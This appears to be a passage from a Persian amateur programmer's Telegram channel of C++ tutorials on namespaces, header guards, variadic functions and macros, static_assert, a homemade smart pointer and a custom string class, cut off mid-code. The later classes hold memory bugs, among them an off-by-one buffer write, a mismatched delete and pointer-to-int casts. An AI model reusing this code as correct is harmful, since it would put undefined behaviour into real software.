یادداشت های برنامه نویس آماتور | Amateur programmer notes
61 subscribers
92 photos
10 videos
34 files
88 links
اندازه ی آرزو هات مهم نیست
مهم اینه تو چقد میبینیش
آرزو هاتو بزرگ ببین


</create> by <ashkan\>
Download Telegram
#آموزش

namespace:
چیسیتی | چرایی | چگونگی

namespace
همون طور که اسمش روشه شما میتونید یه قسمت (فضای) کدتون رو نام بذارید براش
میتونید اسم خودتون رو بذارید

حالا چرا؟
وقتی شما حجم بالایی از کد داشته باشید ممکنه که نام یه تعداد از توابع یا کلاس ها شبیه هم باشن ممکنه ارور پیش بیاد یا خوانایی کد رو کم کنه
برای جلو گیری از این موارد فضای نام تعریف میکنیم

من در مثال زیر از قصد دو تابع هم نام میذارم
اما شما یادتون نره برای کدهاتون فضای نام تعریف کنید
چون انوقت میشه سهوا

مثال
namespace Ashkan
{
void sayhello(){cout«"Hello Ashkan!"«endl;}
}

namespace Ali
{
void sayhello(){cout«"Hello Ali!"«endl;}
}

void sayhello()
{
cout«"I don't know what i need to do"«endl;
}

نحوه فراخونی هر کدام
(تست کنید خودتون پی میبرید)
باید نام فضای نام رو قبلش بنویسیم تا تشخیص بده کدوم رو فراخونی کنه
اگه اینکار رو نکنیم از تابعی که به صورت عمومی تعریف شده استفاده میکنه
Amir::sayhello();
Ali::sayhello();
sayhello();

حالا فرض کنید بخوایم از
using
استفاده کنیم
using
کارش اینه که از فلان جز این فضای نام استفاده میکنیم و دیگه لازم نیست هر بار قبلش فضای نام رو بنویسیم
using namespace
یعنی ما از سیر تا پیاز این فضای نام دیگه لازم نیست از فضای نام قبلش استفاده کنیم

مثلا:
using namespace Ashkan;
میبینید که ارور میده چرا ؟
چون یه تابع هستش که اصلا عضو هیچ کدومشون نیست

sayhello
خالی رو پاک کنید و دوباره کامپایل کنید

حالا یکم بیشتر از
using
استفاده کنیم
namespace Ashkan
{
void sayhello(){cout«"Hello Ashkan!"«endl;}
void saybye(){cout«"Good bye Amir!"«endl;}
}

namespace Ali
{
void sayhello(){cout«"Hello Ali!"«endl;}
void saybye(){cout«"Good bye Ali!"«endl;}
}

این کد ما هستش
حالا این شکلی اگه بنویسیم به کامپایلر میگیم که اون حالا پیش فرض هست و ما از کل فضای نام بهره نمیبریم
مثال
using Ashkan::saybye;
saybye();
{
using Ali::saybye;
saybye();
}

پس این رو هم توجه داشته باشید که در بلاک های مختلف میتونید
using
های مختلف داشته باشید
و توجه داشته باشید اگر در کد بالا
sayhello
خالی رو بنویسید ارور میده
چون ما به کامپایلر گفتیم فقط از اون توابع
namespace
میخوایم استفاده کنیم

اگه بخوایید از همه ش استفاده کنید این شکلی عمل کنید

using namespace Ashkan;
saybye();
{
using namespace Ali;
saybye();
}
یه ارور میده
چرا وقتی از
namespace
استفاده میکنیم به صورت پیش فرض برای بلاک های زیر دستش هم اجرا میشه
این رو ببینید

using Ashkan::saybye;
saybye();
{
using namespace Ali;
saybye();
{
saybye();
}
}

با این کار مشخص میکنیم که هر جا که
saybye
دیده شد از نسخه داخل فضای نام امیر استفاده شه
ولی داخل اون بلاک مشخص کردیم اگر توابعی از
فضای نام علی موجود بود از نسخه علی استفاده کنه

مگر وقتی که از
using
خالی استفاده شده باشه
پس میشه گفت
using
نسبت به
using namespace
جدی تر گرفته میشه
ولی
namespace
وقتی دیده شه تمام اجزا رو برای کامپایلر تعریف میکنه
این مثال ساده رو ببینید
using Ashkan::saybye;
using namespace Ali;

saybye();
sayhello();

پس میشه همزمان با هم استفاده کرد

اون کد بالا بود که بخاطر دوتا
using namespace
ارور داد
حالا میتونید خیلی راحت ارورش رو برطرف کنین
using namespace Ashkan;
saybye();
{
using Ali::saybye;
saybye();
}
وقتی تو دوتا
namespace
چیزهای هم نام باشن
اگه توی یه بلاک
using namespace
تعریف شه یا یکیش زیر دست اون یکی باشه
ارور میده
دلیلش هم واضحه چون کامپایلر نمیدونه از کدوم یکی استفاده کنه

پس میشه ارور بالا رو با دو بلاک جدا از هم حلش کرد
{
using namespace Ashkan;
saybye();
}
{
using namespace Ali;
saybye();
}


فرق
using namespace
و
using
خالی در بلاک های تو در تو

using namespace Ali;
saybye();
{
using namespace Ashkan;
saybye();
}
کد بالا مثل اون کد قبلی هستش
بهتون قبلا گفتم وقتی
از using namespace
استفاده میکنید به صورت پیش فرض برای تمام بلاک های زیر دستش اجرا میشه و مثل این میمونه دو تاش رو پشت سر هم بنویسیم

ولی using
همیشه میتونه نقض ش کنه
در صورتی که using namespace
نمیتونه
#بیشتر_بدانید
اهمیت هدر گارد ها
header guards

#ifndef HEADER_H

#define HEADER_H


#endif


حتما همتون تا حالا هدر گاردهایی مثل بالا رو دیدید
اما اهمیتشون چیه؟
خیلی خلاصه جلوگیری از تعریف چندبار سهوی و ارور های ناخواسته

در مثال زیر خیلی ساده بهتون میگم چرا مفیدن
یه نکته » من برای جلوگیری از تکرار اسم هدر گارد ها از روشی استفاده میکنم که تقریبا اکثر برنامه نویس ها از اون روش استفاده میکنن
#define HEADERNAME_H

که
HEADERNAME
همون نام فایل هدر هست

حالا مثال:
محتویات فایل header2.h


#include <iostream>

using namespace std;


void helloworld()

{

    cout<<"Hello World!"<<endl;

}


محتویات فایل header1.h
#include "header2.h"


void sayhello()

{

    helloworld();

}

محتویات فایل اصلی سی پلاس پلاس
#include "header1.h"



int main(){

   sayhello();

   return 0;

}


میبینیدکه ارور نمیده و اجرا میشه
حالا
#include "header2.h"

`
رو به فایل سی پلاس پلاس اضافه کنین


#include "header1.h"

#include "header2.h"


int main(){

   sayhello();

   return 0;

}


چه قبل اون header1.h بذارید چه بعدش ارور میده چون
`void helloworld()

دوبار تعریف میشه

حالا بیایید هدرگارد برای هر دو هدر تعریف کنید
محتویات جدید header2.h
#ifndef HEADER2_H

#define HEADER2_H


#include <iostream>

using namespace std;


void helloworld()

{

    cout<<"Hello World!"<<endl;

}


#endif


محتویات جدید header1.h
#ifndef HEADER1_H

#define HEADER1_H


#include "header2.h"


void sayhello()

{

    helloworld();

}


#endif


و محتوای فایل اصلی
#include "header1.h"

#include "header2.h"


int main(){

   sayhello();

   return 0;

}


دیگه ارور نمیده
چند بار هم اینکلاد کنم خیالتون راحت شه
#include "header1.h"

#include "header2.h"

#include "header1.h"

#include "header2.h"

#include "header1.h"

#include "header2.h"

#include "header1.h"

#include "header2.h"


int main(){

   sayhello();

   return 0;

}


امیدوارم پی برده به باشید به اهمیتشون
نکته آخر: نوشته اشکان♻️
در بعضی کامپایلر ها لازم نیست
این همه تایپ
کنیم
#pragma once
دقیقا همین کار رو انجام می
ده
بازم میگم فق
ط
بعضی کامپایلر ها


موفق باشید
کدهاتون هم بی باگ
#بدون_شرح
تا حالا به این فکر افتادین یه چیزی شبیه
cout
بسازین
(بسازین خو 😄 اینم یه نمونش که اهمیت
operator
ها رو نشون میده)
#include <cstdio>

struct M{
M& operator<<(const char* in)
{
printf("%s",in);
return *this;
}
M& operator<<(int in)
{
printf("%d",in);
return *this;
}
M& operator<<(char in)
{
printf("%c",in);
return *this;
}

}myout;
const char el = '\n';

int main(){
myout<<"Hello! "<<10<<el;
return 0;
}

البته
cout
خیلی گسترده تره اما اینجا هدف چیزه دیگه ای هست😉

شب و روزتون بی باگ
#بیشتر_بدانید
تا حالا فکر کردید چجوری بی نهایت آرگومان داشته باشید؟
دونوعش رو بهتون معرفی میکنم

variadic arguments
بچه ها

بچه ها
variadic arguments
😄
اینم معرفی

یه تابع میخوام باهاش بنویسم که هرتعداد براش عدد بفرستیم جمع کلشون رو برامون برگردونه
#include <iostream>

#include <stdarg.h>

using namespace std;


//! جمع اعدادی که براش میفرستیم رو برمیگردونه

//! count همون تعداد آرگومان هایی که براش میفرستیم

//! ... همون آرگومان بی نهایت

int FOO(int count,...)

{

    int out=0;//خروجی

    va_list args;// باید آرگومان ها رو توی این بریزیم

    va_start(args,count);// آرگومان ها رو توی اون میریزیم

    //count

    // نقطه شروع هست نه تعداد اشتباه نکنید


    for(int i=0;i<count;i++)//این حلقه به تعداد آرگومان ها اجرا میشه

    {

        int a = va_arg(args,int);//متغیر بعدی رو به عنوان عدد صحیح لود میکنیم

        out+=a;// به خروجی اضافه میکنیم

    }


    va_end(args);//تموم شد

    return out;

}


int main(){

   cout<<FOO(6,2,3,2,3,4,5)<<endl;//2+3+2+3+4+5=19

   return 0;

}


جالب بود نه؟
بیایید ازقصد اشتباه کنیم و آرگومان اول که تعداد هست رو اشتباه بفرستیم
FOO(8,2,3,2,3,4,5)

اوه
عجب وضعیت باقالی شد😂

برای اینکه دیگه اشتباه نکنیم با استفاده از یه ماکرو آرگومان ها رو میفرستیم که آرگومان اولش رو خودش برامون حساب کنه
جالبه بهتون بگم اونم با آرگومان های بی نهایت کار میکنه😄
#define CountArgs(...)

اگه
__VA_ARGS__رو جلوش بذاریم تمام آرگومان بی نهایت ها رو عیننا مثل قالب میذاره جلوش
اول یه ماکرو مینویسیم تا تعدادش رو بشماریم

#define CountArgs(...) CountArgs2( (__VA_ARGS__,10,9,8,7,6,5,4,3,2,1) )

#define CountArgs2(args) CountArgs3 args

#define CountArgs3(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,argsc,...) argsc

کد بالا تا حداکثر 10 تا آرگومان رو میتونه بشماره اگه بیشتر میخواهید
بیشتر بنویسید
بیایید تستش کنیم
cout<<CountArgs(1,1,1,1,1)<<endl;//5

خروجی 5 میده
بذارید اول تحلیلش کنیم
هر خط یه مرحله از ماکرو رو نشون میده
اگه نمیدونید ماکرو چیه
چند تا پست بالاتر یه توضیح ساده ازش آماده کردم
CountArgs(1,1,1,1,1)


CountArgs2( (1,1,1,1,10,9,8,7,6,5,4,3,2,1) ) // دوتا پرانتز


CountArgs2(args) CountArgs3 args


CountArgs2(args) CountArgs3 (1,1,1,1,10,9,8,7,6,5,4,3,2,1) //args جابه جا میشه


CountArgs3(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,argsc,...) argsc


CountArgs3(1,1,1,1,1,10,9,8,7,6,5 ,...) argsc  // غیره ش رو ننوشتم دیگه احتیاجی نیست


argc نیتجه ی 5 رو تحویلمون میده

امیدوارم متوجه شده باشید
حالا فقط کافیه یه ماکرو دیگه تعریف کنیم
چیزی که تولید میکنه این باشه
اولش تعداد آرگومان ها رو برامون بشماره با همون ماکرو بالایی
بعد خود آرگومان ها رو دقیق بفرسته
حواستون جمع باشه این ماکرو یی که نوشتم بیشتر از 10 تا نمیونه حساب کنه
شما خودتون میتونید بیشترش کنید

#define MYARGCOUNTER(...) CountArgs(__VA_ARGS__),__VA_ARGS__

حالا کدمون رو تغییر میدیم

cout<<FOO(MYARGCOUNTER(2,3,2,3,4,5))<<endl;

MYARGCOUNTER
کاری که میکنه اینه که
CountArgs(2,3,2,3,4,5) , 2,3,2,3,4,5

این رو برامون میسازه و
CountArgs
هم که میشمره پس میشه
6,2,3,2,3,4,5

که مثل همون کد اولمون میشه

نکته اشکانی😐
CountArgs
به خاطر اینکه در بعضی کامپایلر ها درست کامپایل نمیشه سه بار بازخوانی کردم وگرنه مثلا با 2 بار هم روی جی سی سی عم
ل میکنه
#define CountArgs(...) CountArgs2(__VA_ARGS__,10,9,8,7,6,5,
4
,3,2,1)
#define CountArgs2(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,argsc,..
.) argsc
ولی کد بالا در ویژوال
2012
درست کامپایل نخواهد شد

نکته دو:
تابع بالا با نام
variadic function
و ماکرو بالا با نام
variadic macro
شناخته میشن

نکته سه:
توابعی مثل
printf
نوعی
variadic function
هستن

اینم یه مبحثی بود هزار ماشالا مخ درگیر کن
امیدوارم لذت برده باشید

♥️تک تک ارور های زندگی تون پرپر
#لازمه_بدانید !

لازمه بدانید 😄 که خاصیت استفاده مجدد از کد چیه
خیلی هم لازمه

من در پایین با روش شی گرایی خیلی ابتدایی 😅 این کار رو انجام خواهم داد و با دو روش مختلف ران تایم یا کامپایل تایم اون ها رو لود میکنم

مثالی که میزنم ساده هست
یه استراکت که کارش لود کتاب خانه ریاضی هست
البته نترسید قرار نیست همه چیز داشته باشه😄
برای مثال ما فقط یه تابع برای محاسبه قدر مطلق داره
یه بار با استفاده از کتاب خانه استاندارد سی لود میکنیم و بار دیگه یه تابع که خودمون نوشتیم و مثلا کتابخانه خودمونه (الکی مثلا😅)

یه ماکرو برای کامپایل تایم
#define USING_MY_MATH_LIB

این اگه صفر بود از کتابخانه سی استفاده میکنیم وگرنه اگه 1 بود از کتاب خانه خودمون استفاده میکنیم

#include <iostream>
#include <cmath>
using namespace std;

#define USING_MY_MATH_LIB 0 // الان مثلا میخوایم از کتاب خانه استاندارد استفاده شه

#if USING_MY_MATH_LIB == 1
int myabs(int in) // این همون کتابخونه الکیه هستش
{
cout<<"myabs called!"<<endl;// مطمئن شیم فراخوانی شده
if(in<0)
return -in;
return in;
}
#endif // USING_MY_MATH_LIB

struct themathlib // استراکت بیس برای شی گرایی
{
virtual int Abs(int in)=0;// virtual برای شی گرایی راحت تر شه
};

#if USING_MY_MATH_LIB == 1 // از کتاب خانه خودمون استفاده میکنیم
struct mymathlib: themathlib // یه استراکت فرزند مشتق از بیس کار برای کتاب خانه خودمون
{
int Abs(int in){ return myabs(in); } // همون تابع خودمون رو صدا زدیم
};
#endif // USING_MY_MATH_LIB

#if USING_MY_MATH_LIB == 0// از کتابخانه استاندارد استفاده میکنیم
struct stdmathlib: themathlib
{
int Abs(int in){ return abs(in); }// تابع کتابخانه استاندارد
};
#endif // USING_MY_MATH_LIB

themathlib* intializemathlib()// برای ایجاد کردن یه شی جدید
{
themathlib* out=NULL;// خروجی
#if USING_MY_MATH_LIB ==1
out = new mymathlib; // کتابخانه خودمون
#endif // USING_MY_MATH_LIB

#if USING_MY_MATH_LIB ==0
out = new stdmathlib; // کتاب خانه استاندارد
#endif // USING_MY_MATH_LIB
return out;
}

int main()
{
themathlib* obj = intializemathlib();// یه شی ایجاد میکنیم
int in;
cout<<"Enter Integer:"<<endl;
cin>>in;
cout<<obj->Abs(in)<<endl;// به همین راحتی استفاده میکنیم
delete obj;
return 0;
}



حالا فرض کنیم تصمیمون عوض شد و خواستیم از کتابخانه خودمون استفاده کنیم
چی کار باید کنیم؟
خب خیلی راحته فقط کافیه
#define USING_MY_MATH_LIB 1
باشه

هر دو حالت رو حتما تست کنید

همونطور که میدونید ماکرو ها برای موقع کامپایل هستن و تکلیفشون رو برنامه نویس مشخص میکنه
حالا فرض کنیم کاربر نهایی قراره تکلیف رو مشخص کنه
و به اصطلاح کارها همون موقع اجرا انجام شه
#include <iostream>
#include <cmath>
using namespace std;

int myabs(int in)
{
cout<<"myabs called!"<<endl;
if(in<0)
return -in;
return in;
}

struct themathlib
{
virtual int Abs(int in)=0;
};

struct mymathlib: themathlib
{
int Abs(int in){ return myabs(in); }
};

struct stdmathlib: themathlib
{
int Abs(int in){ return abs(in); }
};

themathlib* intializemathlib(bool usingmylib)// اگه صحیح بود از کتابخانه خودمون استفاده میشه وگرنه از استاندارد
{
themathlib* out=NULL;// خروجی
if(usingmylib)
out = new mymathlib; // کتابخانه خودمون
else
out = new stdmathlib; // کتاب خانه استاندارد
return out;
}

int main()
{
bool type;
int in;
cout<<"Enter the Math library type:\n 0: standard library\n 1: my library\n";// پیام راهنمایی
cin>>type; //نوع کتابخانه
cout<<"Enter Integer:"<<endl;// پیام راهنمایی
cin>>in;//ورودی
themathlib* obj = intializemathlib(type);// ایجاد یک شی
cout<<obj->Abs(in)<<endl;//اجرای تابع
delete obj;
return 0;
}


یه مقایسه سطحی از حالت اول و دوم:
در حالت اول فقط وقتی کلاس ایجاد میشه و کامپایل میشه که استفاده شده باشه ولی حالت دوم اینطور نیست پس مسلما حجم برنامه زیاد خواهد شد و چون شرط ها موقع اجرا استفاده میشن پس سرعت اجرا یه ذره کم میشه
اما در عوض کاربر نهایی تکلیف رو مشخص میکنه و دستش بازتره
در صورتی که تکلیف حالت اول رو فقط برنامه نویس میتونه مشخص کنه

یه چیزی برای اونایی که میخوان یاد بگیرن :
بد نیست خودتون هم یه کتابخانه سوم بنویسید و اضافه کنید تا خوب استفاده مجدد رو بشناسین
1396/5/10
امیدوارم مفید بوده باشه
دنیای بی باگی رو براتون
#بیشتر_بدانید

اینجا میخوام همزمان هم بهتون
static assertion
رو معرفی کنم
هم بهتون بگم چجوری میتونید برای آرگومان های توابعی که از
template
ها استفاده میکنن استثنا تعیین کنید

معرفی:
static assertion
بچه ها

بچه ها
static assertion
😄

کد
#include <iostream>

#include <cmath>

using namespace std;


template <typename T>

T Foo(T in) // یه تابع که عدد میگیره و دوبرابرش رو برمیگردونه

{

    return in *((T)2.0f);

}


int main()

{

    int a = 50;

    cout<<Foo(a)<<endl;

    return 0;

}



حالا بیایید یه مقدار باگ برای خودمون بسازیم
int *a = new int(50);

    cout<<Foo(a)<<endl;



همونطور که دیدیم ارور داد اما برای اینکه ارور رو واضح تر کنیم خودمون پیام ارور رو بسازیم

#include <iostream>

#include <cmath>

#include <type_traits>

using namespace std;


template <typename T>

T Foo(T in)

{

    static_assert(!is_pointer<T>::value,"haaji az pointer estefade nakon!");

    return in *((T)2.0f);

}


int main()

{

    int *a=new int(50);

    cout<<Foo(a)<<endl;

    return 0;

}


وقتی کامپایل کنین ارور میده و میگه :"حاجی . از اشاره گر استفاده نکن!"😄

حالا ارور رو تعمیر میکنیم:
int *a=new int(50);

    cout<<Foo(*a)<<endl;


حالا باز از قصد یه چیز دیگه میفرستیم
مثلا استرینگ
و براش ارور رو هم مینویسیم

#include <iostream>

#include <cmath>

#include <type_traits>

#include <string>

using namespace std;


template <typename T>

T Foo(T in)

{

    static_assert(!is_pointer<T>::value,"haaji az pointer estefade nakon!"); //ارور استفاده از اشاره گر

    static_assert(!is_same<T,string>::value,"haaji az string estefade nakon!");// ارور استفاده از استرینگ

    return in *((T)2.0f);

}


int main()

{

    string a;

    cout<<Foo(a)<<endl;

    return 0;

}



میبینین که پیام ارور میشه: "حاجی از استرینگ استفاده نکن!"😄

اینطوری یه ذره سخت میشه
بیایین به جای اینکه بگیم کدوما ارور باشن
بگیم کدوم ها ارور نباشن

template <typename T>

T Foo(T in)

{

    static_assert(!is_pointer<T>::value,"haaji az pointer estefade nakon!");

    static_assert((is_same<T,int>::value||is_same<T,double>::value||is_same<T,float>::value),

                  "haaji faghat az int | double |float  estefade kon!");

    return in *((T)2.0f);

}


int main()

{

    int a=10;

    cout<<Foo(a)<<endl;

    return 0;

}


کار به همین راحتی بود🙂 حالا هی بگو اشی بده


کدهاتون بی باگ
#بیشتر_بدانید
تا حالا به سرتون زده یه مموری منیجر مخصوص خودتون بسازید؟
بسازین خو😀

من میخوام یه کلاس برای مدیریت اشاره گر ها بسازم که زیاد هم امن نیست و ساده نوشته شده
گسترش دادنش با خودتون
این نمونه کدمون
یه کلاس که وقتی ایجاد میشه و حزف میشه یه پیامی میده و یه تابع داره برای عرض سلام و ادب😄
class A
{
public:
A(){cout<<"Created!"<<endl;}
~A(){cout<<"removed!"<<endl;}
void sayhello(){cout<<"hello!"<<endl;}
};

int main()
{
{
A* a = new A;
A* b = new A;
a->sayhello();
b->sayhello();
delete a;
delete b;
}
return 0;
}


این روند یه برنامه عادیه که نشت حافظه هم نداره
اما حالا اگه delete ها رو بردارین یا یادتون بره وضعیت قهوه ای میشه
اینجاست که به خودمون میگیم یه کلاس بسازیم این کار ها رو واسمون انجام بده

template<typename T>
class MyPointer
{
public:
MyPointer(T* in):
data(in)// اشاره گره
{
}
MyPointer(MyPointer<T>& other){}
~MyPointer()
{
delete data;// حزف کردنش
}
private:
T* data;// همون اشاره گره
};


مثال استفاده ازش:
int main()
{
{
MyPointer<A> a(new A);
}
return 0;
}


همون طور که دیدید خودش قبل اینکه از بلاک بیرون بیادش از بین میبردش
حالا سوالی که پیش میاد اینه: چجوری بهش دسترسی داشته باشیم؟
خیلی ساده هست اوپراتور برای کست کردنش مینویسیم
operator T*(){return data;}
operator const T*()const{return data;}

حالا نحوه استفاده ازش
MyPointer<A> a(new A);
((A*)a)->sayhello();


حتما شما هم با من هم عقیده هستین که
(A*)
واقعا اون وسط زیاده نویسیه
چیکار کنیم نباشه؟
یه اوپراتور دیگه مینویسیم😄

T* operator -> (){return data;}


نحوه استفاده کردنش
MyPointer<A> a(new A);
a->sayhello();


خب ما الان یه کلاسی نوشتیم که هی
کارش بد نیست
)اگه تعریف از خود نباشه😜)

ولی خب هنوز باگ داره
بیایید بهتون باگه رو نشون بدم
MyPointer<A> b(new A[2]);
b->sayhello();


همونطور که دیدید حسابی خراب کاری شده و نشت حافظه داشتیم
بیایید کلاسمون رو اصلاح کنیم
template<typename T>
class MyPointer
{
public:
MyPointer(T* in,unsigned int size=1):// سایز رو براش میفرستیم . اگه نفرستادیم برابر یک میشه یعنی اشاره گر به آرایه نیست
data(in),
isarray(size>1)// مشخص میکنیم اشاره گر به آرایه هست یا نه
{
}
MyPointer(MyPointer<T>& other){}
~MyPointer()
{
if(isarray)// اگه اشاره گر به آرایه بود
delete[] data;
else
delete data;
}

operator T*(){return data;}
operator const T*()const{return data;}

T* operator -> (){return data;}
private:
T* data;
bool isarray;// آیا اشاره گر به آرایه هست
};


به همین راحتی
حالا مثال بالا رو تعمیر میکنیم
MyPointer<A> b(new A[2],2);
b->sayhello();

به همین راحتی
حالا سوالی که پیش میاد اینه :

اگه بخواییم به دومین خونه دسترسی داشته باشیم باید چی کار کنیم

MyPointer<A> b(new A[2],2);
((A*)b)[1].sayhello();


بازم حتما موافق هستید اون وسط باز کست کردن اضافیه😊

بازم اوپراتور😜 برامون ردیفش میکنه
T& operator[] (int in){ return data[in];}
const T& operator[](int in)const{return data[in];}


حالا کد همون مثالمون که اول پست زدم:

template<typename T>
class MyPointer
{
public:
MyPointer(T* in,int size=1):
data(in),
isarray(size>1)
{
}
MyPointer(MyPointer<T>& other){}
~MyPointer()
{
if(isarray)
delete[] data;
else
delete data;
}

operator T*(){return data;}
operator const T*()const{return data;}

T* operator -> (){return data;}

T& operator[] (int in){ return data[in];}
const T& operator[](int in)const{return data[in];}
private:
T* data;
bool isarray;
};


class A
{
public:
A(){cout<<"Created!"<<endl;}
~A(){cout<<"removed!"<<endl;}
void sayhello(){cout<<"hello!"<<endl;}
};

int main()
{
{
MyPointer<A> a(new A);
MyPointer<A> b(new A[2],2);
a->sayhello();
b[0].sayhello();
b[1].sayhello();
}
return 0;
}
البته این رو بگم این یه کلاس ساده هست و هنوز هم باگ داره
مثلا میشه بیرون از کلاس اون اشاره گره رو آزادش کرد
یا 0 رو به آرگومان سازنده داد و ...
پس میشه خیلی خیلی گسترشش داد
و اگه من بخوام گسترش بدم که ماشالا میشه یه پروژه کامل
اما این یه مثال ساده و ابتدایی بود


امیدوارم لذت برده باشید♥️
#بدون_شرح

امروز یه ماکرو که برای پیدا کردن سریع تر محل ارور های ران تایم و دلیلش مینویسم و باهاتون به اشتراک میذارم

یه ماکرو که پیام ارور رو میگیره و به همراه پیام ارور
نام فایل و نام تابع و خط ارور رو هم به همراه ارور مشخص میکنه

برای تست هم یه متغیر قلابی داریم که اگه غلط بود ارور بده

#include <stdexcept>
using namespace std;

#define MYERROR( errormessage ) {char _errormessage[1000];sprintf(_errormessage,"\n\tError!!!\n\tFile=\"%s\"\n\tFunction=\"%s\"\n\tLine=\"%d\"\n\tProblem=\"%s\"",__FILE__,__FUNCTION__,__LINE__,errormessage); throw std::runtime_error(_errormessage);}

int main()
{
bool fakecheck = false;
if(!fakecheck)
MYERROR("fake check is false!");

return 0;
}


کدهاتون بی باگ
#بیشتر_بدانید

تاحالا به این فکر کردید که کلاس استرینگ مخصوص خودتون بسازین؟
بسازین خو

دوستی اومد و بهم گفت از شی گرایی بیشتر بگم
عجیبه اما من درباره شی گرایی زیاد حرف زدم قبلا

اما خب چون گفت منم این فکر به سرم زد

در ضمن من یه آماتور هستم و کلاس کامل تست شده نیست و احتمال ارور دادن یا نشت حافظه توش هست
اگه چیزی بود خبرم کنین درست کنم
کلاس کامنت گذاری شده هستش

#
include <iostream>
#include <cstring>
#include <stdexcept>
using namespace std;

//چون حال ندارم هر بار تایپش کنم یه اسم مستعار براش میسازم
typedef unsigned int uint;

class MyString
{
public:
//سازنده ی بدون آرگومان
MyString()
{
// دیتا هیچوقت نباید خالی باشه چون ما تمام حزف های کلاس رو بدون شرط انجام میشه
data = new char[1];
// همیشه آخرین حرف باید پوچ باشه
data[0]='\0';
}
//سازنده ی با آرگومان
MyString(const char* in )
{
//اشاره گر رو آماده میکنیم
data = new char[strlen(in)+1];
//کپی میکنیم
strcpy(data,in);
// حرف آخرش رو هم پوچ میکنیم
data[strlen(in)]='\0';
}
//سازنده ی کپی
MyString(const MyString& other)
{
data = new char[strlen(other.data)+1];
strcpy(data,other.data);
data[strlen(other.data)]='\0';
}
//مخرب
virtual ~MyString()
{
delete[] data;
}
//موقع سرچ معادل پیدا نشدن هست
static const uint NullPosition = -1;
//دیتا رو بر میگردونه
const char* getdata()const
{
return data;
}
//اندازه رشته رو برمیگردونه
uint getsize()const
{
return strlen(data);
}
// پاک میکنه
void clear()
{
delete[] data;
//حتما باید دیتا حداقل یه خونه داشته باشه تا ارور نده
data=new char[1];
data[0]='\0';
}
// یه تیکه از رشته رو بر میگردونه با استفاده از نقطه شروع و پایانش
MyString substring(uint _start,uint _end=-1)const
{
//اگه پایانش منفی یک بود یعنی پایان رشته البته مقدار منطقیش منفی یک نیست
uint __end = (_end!=-1)?_end:strlen(data)+1;
if(_start>__end)//اگه نقطه شروع از پایان بزرگتر بود ارور بده
throw std::runtime_error("MyString::substr : start point is greater than end point");
MyString out;
delete out.data;
out.data= new char[__end-_start];//مقدار جدید خروجی
for(int i=_start;i<__end;i++)// کپی کردن
out.data[i-_start]=data[i];
out.data[__end-_start]='\0';
return out;
}
// یه رشته رو از داخل خود رشته پیدا میکنه و میتونین مشخص کنین از کجا شروع بشه
uint findstring(const char* in,uint from=0)const
{
uint pos = (uint)strstr(data,in);
if(pos==0)
return -1;
while(pos - (uint )data<from)
{
pos=(uint)strstr(&data[pos - (uint )data+1],in);
if(pos==0)
break;
}
if(pos - (uint )data<from || pos - (uint )data>getsize())
return -1;
return pos - (uint )data;
}
// پیدا کردن با استفاده از نوع خود کلاس
uint findstring(const MyString& in,uint from=0)const
{
return findstring(in.data,from);
}
// پاک کردن یه قسمت از رشته با استفاده از نقطه شروع و پایان
void erase(uint start,uint end=-1)
{
//اگه منفی یک بود یعنی انتهاش
uint _end=(end!=-1)?end:strlen(data);
if(start>getsize()||_end>getsize())
throw std::runtime_error("MyString::erase : start point or end point is greater than data size");
//سایز رشته قبل از تغییر
uint strsize=getsize();
//کپی کردن کاراکتر های بعد از قسمتی که باید پاک بشه
for(uint i=start;i<strsize;i++)
{
//یعنی توانایی کپی رو داره
if(i+(_end-start)<strsize)
{
// رشته جلویی رو میاره میذاره جایی که باید پاک شه
data[i]=data[i+(_end-start)];
//پوچ میشه تا باقی نمونه
data[i+(_end-start)]='\0';
}
else
// قابل کپی نیست و باید پوچ شه
data[i]='\0';
}
//یادتون نره میتونین مموری رو فلاش کنین اما من اینکار رو نکردم
}
// وارد کردن یه رشته به داخل رشتمون (پوستم سر دیباگ کردنش کنده شد)
void insert(uint point,const char* in)
{
// اگه نقطه شروع بود کار رو سریع انجام میدم که جمع کردنش باشه
if(point == 0)
{
MyString _a(in);
//توضیحات جمع کردن رو بخونید
*this = _a+*this;
return;
}
//سایز قبل تغییر
uint _s=getsize();
// سایز ورودی برای اینکه لازم نباشه هر بار چک کنیم
uint _inlen = strlen(in);
//نگه میداریم تا حافظه جدید بسازیم
char* buf = data;
data = new char[_s+_inlen+1];
//حافظه قدیمی رو کپی میکنیم
memcpy(data,buf,sizeof(*buf)*strlen(buf));
// حافظه قدیمی رو از بین میبریم
delete[] buf;
//کپی کردن
for(uint i=_s;i>=point;i--)
{
// از محل جایی که باید پاک بشه حروف ها رو به اندازه سایزشون جلو میبریم
data[i+_inlen]=data[i];
}
data[_s+_inlen]='\0';
//اون رشته ای که باید وارد میکردیم رو وارد میکنیم
memcpy(&data[point],in,sizeof(*in)*_inlen);

}
//این همون بالایی هس با فرض اینکه نوعش ورودی از نوع خودشه
void insert(uint point,const MyString& in)
{
insert(point,in.data);
}
// جایگزین کردن یه رشته با استفاده از نقطه شروعش
void replace(uint start,const char* b)
{
// اگه اندازش بیشتر بود باید حافظه جدید حاضر کنیم
if(start+strlen(b)>getsize())
{
// محل قدیمی رو نگه میداریم
char* buf=data;
//محل جدید رو حاضر میکنیم
data= new char[start+strlen(b)+1];
// محتوای قدیمی رو به جای جدید کپی میکنیم
memcpy(data,buf,sizeof(*buf)*strlen(buf));
data[start+strlen(b)]='\0';
// حافظه قدیمی رو پاک میکنیم
delete[] buf;
}
//اندازه ورودی رو بدست میاریم
uint blen = strlen(b);
// کپی میکنیم
for(uint i=start;i<blen+start;i++)
data[i]=b[i-start];
}
// این رو که دیگه معلومه
void replace(uint start,const MyString& b)
{
replace(start,b.data);
}
// تمام کلمات آرگومان اول رو با آرگومان دوم جایگزین میکنه . نقطه شروع هم میتونین بهش بدین نظقطه پایان هم همینطور
void replaceall(const char* what,const char* with,uint from=0,uint end=-1)
{
uint _d=findstring(what,from);
while(1)
{
if(end<_d||_d==-1)
break;
erase(_d,_d+strlen(what));
insert(_d,with);
_d=findstring(what,_d+strlen(with));
}
}
//معلومه دیگه
void replaceall(const MyString& what,const MyString& with,uint from=0,uint end=-1)
{
replaceall(what.getdata(),with.getdata(),from,end);
}


//جمع کردن یه رشته با یه رشته دیگه
MyString operator+(const char* in)const
{
MyString out;
delete out.data;
// مقدار جدید براش آماده میکنیم
out.data = new char[strlen(in)+strlen(data)+1];
